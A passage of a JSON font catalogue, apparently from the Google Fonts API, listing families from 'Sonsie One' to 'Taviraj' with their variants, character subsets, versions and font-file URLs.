One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sonsieone/v9/PbymFmP_EAnPqbKaoc18YVu80lbp8JM.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Sora","variants":["100","200","300","regular","500","600","700","800"],"subsets":["latin","latin-ext"],"version":"v1","lastModified":"2020-07-13","files":{"100":"http://fonts.gstatic.com/s/sora/v1/xMQOuFFYT72X5wkB_18qmnndmSdSn3-KIwNhBti0.ttf","200":"http://fonts.gstatic.com/s/sora/v1/xMQOuFFYT72X5wkB_18qmnndmSfSnn-KIwNhBti0.ttf","300":"http://fonts.gstatic.com/s/sora/v1/xMQOuFFYT72X5wkB_18qmnndmScMnn-KIwNhBti0.ttf","regular":"http://fonts.gstatic.com/s/sora/v1/xMQOuFFYT72X5wkB_18qmnndmSdSnn-KIwNhBti0.ttf","500":"http://fonts.gstatic.com/s/sora/v1/xMQOuFFYT72X5wkB_18qmnndmSdgnn-KIwNhBti0.ttf","600":"http://fonts.gstatic.com/s/sora/v1/xMQOuFFYT72X5wkB_18qmnndmSeMmX-KIwNhBti0.ttf","700":"http://fonts.gstatic.com/s/sora/v1/xMQOuFFYT72X5wkB_18qmnndmSe1mX-KIwNhBti0.ttf","800":"http://fonts.gstatic.com/s/sora/v1/xMQOuFFYT72X5wkB_18qmnndmSfSmX-KIwNhBti0.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Sorts Mill Goudy","variants":["regular","italic"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/sortsmillgoudy/v10/Qw3GZR9MED_6PSuS_50nEaVrfzgEXH0OjpM75PE.ttf","italic":"http://fonts.gstatic.com/s/sortsmillgoudy/v10/Qw3AZR9MED_6PSuS_50nEaVrfzgEbH8EirE-9PGLfQ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Source Code Pro","variants":["200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","latin","latin-ext","vietnamese"],"version":"v13","lastModified":"2020-09-25","files":{"200":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_XiYsKILxRpg3hIP6sJ7fM7Pqt8srztO0rzmmkDQ.ttf","200italic":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONMbtecv7Gy0DRzS.ttf","300":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_XiYsKILxRpg3hIP6sJ7fM7PqtlsnztO0rzmmkDQ.ttf","300italic":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONN_tucv7Gy0DRzS.ttf","regular":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_SiYsKILxRpg3hIP6sJ7fM7PqVOuHXvMY3xw.ttf","italic":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_QiYsKILxRpg3hIP6sJ7fM7PqlOOvTnsMnx3C9.ttf","500":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_XiYsKILxRpg3hIP6sJ7fM7PqtzsjztO0rzmmkDQ.ttf","500italic":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONMnt-cv7Gy0DRzS.ttf","600":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_XiYsKILxRpg3hIP6sJ7fM7Pqt4s_ztO0rzmmkDQ.ttf","600italic":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONMLsOcv7Gy0DRzS.ttf","700":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_XiYsKILxRpg3hIP6sJ7fM7Pqths7ztO0rzmmkDQ.ttf","700italic":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONNvsecv7Gy0DRzS.ttf","900":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_XiYsKILxRpg3hIP6sJ7fM7PqtvszztO0rzmmkDQ.ttf","900italic":"http://fonts.gstatic.com/s/sourcecodepro/v13/HI_ViYsKILxRpg3hIP6sJ7fM7PqlONNXs-cv7Gy0DRzS.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Source Sans Pro","variants":["200","200italic","300","300italic","regular","italic","600","600italic","700","700italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v14","lastModified":"2020-09-15","files":{"200":"http://fonts.gstatic.com/s/sourcesanspro/v14/6xKydSBYKcSV-LCoeQqfX1RYOo3i94_AkB1v_8CGxg.ttf","200italic":"http://fonts.gstatic.com/s/sourcesanspro/v14/6xKwdSBYKcSV-LCoeQqfX1RYOo3qPZYokRdr3cWWxg40.ttf","300":"http://fonts.gstatic.com/s/sourcesanspro/v14/6xKydSBYKcSV-LCoeQqfX1RYOo3ik4zAkB1v_8CGxg.ttf","300italic":"http://fonts.gstatic.com/s/sourcesanspro/v14/6xKwdSBYKcSV-LCoeQqfX1RYOo3qPZZMkhdr3cWWxg40.ttf","regular":"http://fonts.gstatic.com/s/sourcesanspro/v14/6xK3dSBYKcSV-LCoeQqfX1RYOo3aP6TkmDZz9g.ttf","italic":"http://fonts.gstatic.com/s/sourcesanspro/v14/6xK1dSBYKcSV-LCoeQqfX1RYOo3qPa7gujNj9tmf.ttf","600":"http://fonts.gstatic.com/s/sourcesanspro/v14/6xKydSBYKcSV-LCoeQqfX1RYOo3i54rAkB1v_8CGxg.ttf","600italic":"http://fonts.gstatic.com/s/sourcesanspro/v14/6xKwdSBYKcSV-LCoeQqfX1RYOo3qPZY4lBdr3cWWxg40.ttf","700":"http://fonts.gstatic.com/s/sourcesanspro/v14/6xKydSBYKcSV-LCoeQqfX1RYOo3ig4vAkB1v_8CGxg.ttf","700italic":"http://fonts.gstatic.com/s/sourcesanspro/v14/6xKwdSBYKcSV-LCoeQqfX1RYOo3qPZZclRdr3cWWxg40.ttf","900":"http://fonts.gstatic.com/s/sourcesanspro/v14/6xKydSBYKcSV-LCoeQqfX1RYOo3iu4nAkB1v_8CGxg.ttf","900italic":"http://fonts.gstatic.com/s/sourcesanspro/v14/6xKwdSBYKcSV-LCoeQqfX1RYOo3qPZZklxdr3cWWxg40.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Source Serif Pro","variants":["200","200italic","300","300italic","regular","italic","600","600italic","700","700italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","latin","latin-ext","vietnamese"],"version":"v10","lastModified":"2020-09-25","files":{"200":"http://fonts.gstatic.com/s/sourceserifpro/v10/neIXzD-0qpwxpaWvjeD0X88SAOeasbsfhSugxYUvZrI.ttf","200italic":"http://fonts.gstatic.com/s/sourceserifpro/v10/neIVzD-0qpwxpaWvjeD0X88SAOeauXEGbSqqwacqdrKvbQ.ttf","300":"http://fonts.gstatic.com/s/sourceserifpro/v10/neIXzD-0qpwxpaWvjeD0X88SAOeasd8chSugxYUvZrI.ttf","300italic":"http://fonts.gstatic.com/s/sourceserifpro/v10/neIVzD-0qpwxpaWvjeD0X88SAOeauXEGCSmqwacqdrKvbQ.ttf","regular":"http://fonts.gstatic.com/s/sourceserifpro/v10/neIQzD-0qpwxpaWvjeD0X88SAOeaiXM0oSOL2Yw.ttf","italic":"http://fonts.gstatic.com/s/sourceserifpro/v10/neIWzD-0qpwxpaWvjeD0X88SAOeauXE-pQGOyYw2fw.ttf","600":"http://fonts.gstatic.com/s/sourceserifpro/v10/neIXzD-0qpwxpaWvjeD0X88SAOeasasahSugxYUvZrI.ttf","600italic":"http://fonts.gstatic.com/s/sourceserifpro/v10/neIVzD-0qpwxpaWvjeD0X88SAOeauXEGfS-qwacqdrKvbQ.ttf","700":"http://fonts.gstatic.com/s/sourceserifpro/v10/neIXzD-0qpwxpaWvjeD0X88SAOeasc8bhSugxYUvZrI.ttf","700italic":"http://fonts.gstatic.com/s/sourceserifpro/v10/neIVzD-0qpwxpaWvjeD0X88SAOeauXEGGS6qwacqdrKvbQ.ttf","900":"http://fonts.gstatic.com/s/sourceserifpro/v10/neIXzD-0qpwxpaWvjeD0X88SAOeasfcZhSugxYUvZrI.ttf","900italic":"http://fonts.gstatic.com/s/sourceserifpro/v10/neIVzD-0qpwxpaWvjeD0X88SAOeauXEGISyqwacqdrKvbQ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Space Grotesk","variants":["300","regular","500","600","700"],"subsets":["latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-11-03","files":{"300":"http://fonts.gstatic.com/s/spacegrotesk/v1/V8mQoQDjQSkFtoMM3T6r8E7mF71Q-gOoraIAEj62UUsjNsFjTDJK.ttf","regular":"http://fonts.gstatic.com/s/spacegrotesk/v1/V8mQoQDjQSkFtoMM3T6r8E7mF71Q-gOoraIAEj7oUUsjNsFjTDJK.ttf","500":"http://fonts.gstatic.com/s/spacegrotesk/v1/V8mQoQDjQSkFtoMM3T6r8E7mF71Q-gOoraIAEj7aUUsjNsFjTDJK.ttf","600":"http://fonts.gstatic.com/s/spacegrotesk/v1/V8mQoQDjQSkFtoMM3T6r8E7mF71Q-gOoraIAEj42VksjNsFjTDJK.ttf","700":"http://fonts.gstatic.com/s/spacegrotesk/v1/V8mQoQDjQSkFtoMM3T6r8E7mF71Q-gOoraIAEj4PVksjNsFjTDJK.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Space Mono","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/spacemono/v6/i7dPIFZifjKcF5UAWdDRUEZ2RFq7AwU.ttf","italic":"http://fonts.gstatic.com/s/spacemono/v6/i7dNIFZifjKcF5UAWdDRYER8QHi-EwWMbg.ttf","700":"http://fonts.gstatic.com/s/spacemono/v6/i7dMIFZifjKcF5UAWdDRaPpZYFKQHwyVd3U.ttf","700italic":"http://fonts.gstatic.com/s/spacemono/v6/i7dSIFZifjKcF5UAWdDRYERE_FeaGy6QZ3WfYg.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Spartan","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-06-26","files":{"100":"http://fonts.gstatic.com/s/spartan/v2/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrGFuG6OChXtf4qS.ttf","200":"http://fonts.gstatic.com/s/spartan/v2/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrEFuW6OChXtf4qS.ttf","300":"http://fonts.gstatic.com/s/spartan/v2/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrHbuW6OChXtf4qS.ttf","regular":"http://fonts.gstatic.com/s/spartan/v2/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrGFuW6OChXtf4qS.ttf","500":"http://fonts.gstatic.com/s/spartan/v2/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrG3uW6OChXtf4qS.ttf","600":"http://fonts.gstatic.com/s/spartan/v2/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrFbvm6OChXtf4qS.ttf","700":"http://fonts.gstatic.com/s/spartan/v2/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrFivm6OChXtf4qS.ttf","800":"http://fonts.gstatic.com/s/spartan/v2/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrEFvm6OChXtf4qS.ttf","900":"http://fonts.gstatic.com/s/spartan/v2/l7gAbjR61M69yt8Z8w6FZf9WoBxdBrEsvm6OChXtf4qS.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Special Elite","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/specialelite/v11/XLYgIZbkc4JPUL5CVArUVL0nhncESXFtUsM.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Spectral","variants":["200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic"],"subsets":["cyrillic","latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2019-07-16","files":{"200":"http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9v2s13GY_etWWIJ.ttf","200italic":"http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qrXHafOPXHIJErY.ttf","300":"http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9uSsF3GY_etWWIJ.ttf","300italic":"http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qtHEafOPXHIJErY.ttf","regular":"http://fonts.gstatic.com/s/spectral/v6/rnCr-xNNww_2s0amA-M-mHnOSOuk.ttf","italic":"http://fonts.gstatic.com/s/spectral/v6/rnCt-xNNww_2s0amA9M8kn3sTfukQHs.ttf","500":"http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9vKsV3GY_etWWIJ.ttf","500italic":"http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qonFafOPXHIJErY.ttf","600":"http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9vmtl3GY_etWWIJ.ttf","600italic":"http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qqXCafOPXHIJErY.ttf","700":"http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9uCt13GY_etWWIJ.ttf","700italic":"http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qsHDafOPXHIJErY.ttf","800":"http://fonts.gstatic.com/s/spectral/v6/rnCs-xNNww_2s0amA9uetF3GY_etWWIJ.ttf","800italic":"http://fonts.gstatic.com/s/spectral/v6/rnCu-xNNww_2s0amA9M8qt3AafOPXHIJErY.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Spectral SC","variants":["200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic"],"subsets":["cyrillic","latin","latin-ext","vietnamese"],"version":"v5","lastModified":"2019-07-16","files":{"200":"http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs1qwkTXPYeVXJZB.ttf","200italic":"http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg26zWN4O3WYZB_sU.ttf","300":"http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs0OwUTXPYeVXJZB.ttf","300italic":"http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg28jVN4O3WYZB_sU.ttf","regular":"http://fonts.gstatic.com/s/spectralsc/v5/KtkpALCRZonmalTgyPmRfvWi6WDfFpuc.ttf","italic":"http://fonts.gstatic.com/s/spectralsc/v5/KtkrALCRZonmalTgyPmRfsWg42T9E4ucRY8.ttf","500":"http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs1WwETXPYeVXJZB.ttf","500italic":"http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg25DUN4O3WYZB_sU.ttf","600":"http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs16x0TXPYeVXJZB.ttf","600italic":"http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg27zTN4O3WYZB_sU.ttf","700":"http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs0exkTXPYeVXJZB.ttf","700italic":"http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg29jSN4O3WYZB_sU.ttf","800":"http://fonts.gstatic.com/s/spectralsc/v5/Ktk0ALCRZonmalTgyPmRfs0CxUTXPYeVXJZB.ttf","800italic":"http://fonts.gstatic.com/s/spectralsc/v5/Ktk2ALCRZonmalTgyPmRfsWg28TRN4O3WYZB_sU.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Spicy Rice","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/spicyrice/v9/uK_24rSEd-Uqwk4jY1RyGv-2WkowRcc.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Spinnaker","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/spinnaker/v12/w8gYH2oyX-I0_rvR6Hmn3HwLqOqSBg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Spirax","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/spirax/v9/buE3poKgYNLy0F3cXktt-Csn-Q.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Squada One","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/squadaone/v9/BCasqZ8XsOrx4mcOk6MtWaA8WDBkHgs.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Sree Krushnadevaraya","variants":["regular"],"subsets":["latin","telugu"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sreekrushnadevaraya/v8/R70FjzQeifmPepmyQQjQ9kvwMkWYPfTA_EWb2FhQuXir.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Sriracha","variants":["regular"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v4","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/sriracha/v4/0nkrC9D4IuYBgWcI9ObYRQDioeb0.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Srisakdi","variants":["regular","700"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v4","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/srisakdi/v4/yMJRMIlvdpDbkB0A-jq8fSx5i814.ttf","700":"http://fonts.gstatic.com/s/srisakdi/v4/yMJWMIlvdpDbkB0A-gIAUghxoNFxW0Hz.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Staatliches","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v5","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/staatliches/v5/HI_OiY8KO6hCsQSoAPmtMbectJG9O9PS.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Stalemate","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/stalemate/v8/taiIGmZ_EJq97-UfkZRpuqSs8ZQpaQ.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Stalinist One","variants":["regular"],"subsets":["cyrillic","latin","latin-ext"],"version":"v26","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/stalinistone/v26/MQpS-WezM9W4Dd7D3B7I-UT7eZ-UPyacPbo.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Stardos Stencil","variants":["regular","700"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/stardosstencil/v11/X7n94bcuGPC8hrvEOHXOgaKCc2TR71R3tiSx0g.ttf","700":"http://fonts.gstatic.com/s/stardosstencil/v11/X7n44bcuGPC8hrvEOHXOgaKCc2TpU3tTvg-t29HSHw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Stint Ultra Condensed","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/stintultracondensed/v9/-W_gXIrsVjjeyEnPC45qD2NoFPtBE0xCh2A-qhUO2cNvdg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Stint Ultra Expanded","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/stintultraexpanded/v8/CSRg4yNNh-GbW3o3JkwoDcdvMKMf0oBAd0qoATQkWwam.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Stoke","variants":["300","regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/stoke/v10/z7NXdRb7aTMfKNvFVgxC_pjcTeWU.ttf","regular":"http://fonts.gstatic.com/s/stoke/v10/z7NadRb7aTMfKONpfihK1YTV.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Strait","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/strait/v8/DtViJxy6WaEr1LZzeDhtkl0U7w.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Stylish","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/stylish/v8/m8JSjfhPYriQkk7-fo35dLxEdmo.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Sue Ellen Francisco","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sueellenfrancisco/v11/wXK3E20CsoJ9j1DDkjHcQ5ZL8xRaxru9ropF2lqk9H4.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Suez One","variants":["regular"],"subsets":["hebrew","latin","latin-ext"],"version":"v5","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/suezone/v5/taiJGmd_EZ6rqscQgNFJkIqg-I0w.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Sulphur Point","variants":["300","regular","700"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/sulphurpoint/v2/RLpkK5vv8KaycDcazWFPBj2afVU6n6kFUHPIFaU.ttf","regular":"http://fonts.gstatic.com/s/sulphurpoint/v2/RLp5K5vv8KaycDcazWFPBj2aRfkSu6EuTHo.ttf","700":"http://fonts.gstatic.com/s/sulphurpoint/v2/RLpkK5vv8KaycDcazWFPBj2afUU9n6kFUHPIFaU.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Sumana","variants":["regular","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sumana/v5/4UaDrE5TqRBjGj-G8Bji76zR4w.ttf","700":"http://fonts.gstatic.com/s/sumana/v5/4UaArE5TqRBjGj--TDfG54fN6ppsKg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Sunflower","variants":["300","500","700"],"subsets":["korean","latin"],"version":"v9","lastModified":"2019-07-16","files":{"300":"http://fonts.gstatic.com/s/sunflower/v9/RWmPoKeF8fUjqIj7Vc-06MfiqYsGBGBzCw.ttf","500":"http://fonts.gstatic.com/s/sunflower/v9/RWmPoKeF8fUjqIj7Vc-0sMbiqYsGBGBzCw.ttf","700":"http://fonts.gstatic.com/s/sunflower/v9/RWmPoKeF8fUjqIj7Vc-0-MDiqYsGBGBzCw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Sunshiney","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sunshiney/v11/LDIwapGTLBwsS-wT4vcgE8moUePWkg.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Supermercado One","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/supermercadoone/v10/OpNXnpQWg8jc_xps_Gi14kVVEXOn60b3MClBRTs.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Sura","variants":["regular","700"],"subsets":["devanagari","latin","latin-ext"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/sura/v5/SZc23FL5PbyzFf5UWzXtjUM.ttf","700":"http://fonts.gstatic.com/s/sura/v5/SZc53FL5PbyzLUJ7fz3GkUrS8DI.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Suranna","variants":["regular"],"subsets":["latin","telugu"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/suranna/v8/gokuH6ztGkFjWe58tBRZT2KmgP0.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Suravaram","variants":["regular"],"subsets":["latin","telugu"],"version":"v8","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/suravaram/v8/_gP61R_usiY7SCym4xIAi261Qv9roQ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Suwannaphum","variants":["regular"],"subsets":["khmer"],"version":"v14","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/suwannaphum/v14/jAnCgHV7GtDvc8jbe8hXXIWl_8C0Wg2V.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Swanky and Moo Moo","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/swankyandmoomoo/v10/flUlRrKz24IuWVI_WJYTYcqbEsMUZ3kUtbPkR64SYQ.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Syncopate","variants":["regular","700"],"subsets":["latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/syncopate/v12/pe0sMIuPIYBCpEV5eFdyAv2-C99ycg.ttf","700":"http://fonts.gstatic.com/s/syncopate/v12/pe0pMIuPIYBCpEV5eFdKvtKaA_Rue1UwVg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Syne","variants":["regular","500","600","700","800"],"subsets":["latin","latin-ext"],"version":"v1","lastModified":"2020-10-22","files":{"regular":"http://fonts.gstatic.com/s/syne/v1/8vIS7w4qzmVxsWxjBZRjr0FKM_04uT6kR47NCV5Z.ttf","500":"http://fonts.gstatic.com/s/syne/v1/8vIS7w4qzmVxsWxjBZRjr0FKM_0KuT6kR47NCV5Z.ttf","600":"http://fonts.gstatic.com/s/syne/v1/8vIS7w4qzmVxsWxjBZRjr0FKM_3mvj6kR47NCV5Z.ttf","700":"http://fonts.gstatic.com/s/syne/v1/8vIS7w4qzmVxsWxjBZRjr0FKM_3fvj6kR47NCV5Z.ttf","800":"http://fonts.gstatic.com/s/syne/v1/8vIS7w4qzmVxsWxjBZRjr0FKM_24vj6kR47NCV5Z.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Syne Mono","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v1","lastModified":"2020-10-22","files":{"regular":"http://fonts.gstatic.com/s/synemono/v1/K2FzfZNHj_FHBmRbFvHzIqCkDyvqZA.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Syne Tactile","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v1","lastModified":"2020-10-22","files":{"regular":"http://fonts.gstatic.com/s/synetactile/v1/11hGGpna2UTQKjMCVzjAPMKh3ysdjvKU8Q.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Tajawal","variants":["200","300","regular","500","700","800","900"],"subsets":["arabic","latin"],"version":"v3","lastModified":"2019-07-16","files":{"200":"http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l_6gLrZjiLlJ-G0.ttf","300":"http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l5qjLrZjiLlJ-G0.ttf","regular":"http://fonts.gstatic.com/s/tajawal/v3/Iura6YBj_oCad4k1rzaLCr5IlLA.ttf","500":"http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l8KiLrZjiLlJ-G0.ttf","700":"http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l4qkLrZjiLlJ-G0.ttf","800":"http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l5anLrZjiLlJ-G0.ttf","900":"http://fonts.gstatic.com/s/tajawal/v3/Iurf6YBj_oCad4k1l7KmLrZjiLlJ-G0.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Tangerine","variants":["regular","700"],"subsets":["latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/tangerine/v12/IurY6Y5j_oScZZow4VOBDpxNhLBQ4Q.ttf","700":"http://fonts.gstatic.com/s/tangerine/v12/Iurd6Y5j_oScZZow4VO5srNpjJtM6G0t9w.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Taprom","variants":["regular"],"subsets":["khmer"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/taprom/v12/UcCn3F82JHycULbFQyk3-0kvHg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Tauri","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/tauri/v9/TwMA-IISS0AM3IpVWHU_TBqO.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Taviraj","variants":["100","100italic","200","200italic","300","300italic","regular","italic","500","500italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v6","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/taviraj/v6/ahcbv8Cj3ylylTXzRIorV8N1jU2gog.ttf","100italic":"http://fonts.gstatic.com/s/taviraj/v6/ahcdv8Cj3ylylTXzTOwTM8lxr0iwolLl.ttf","200":"h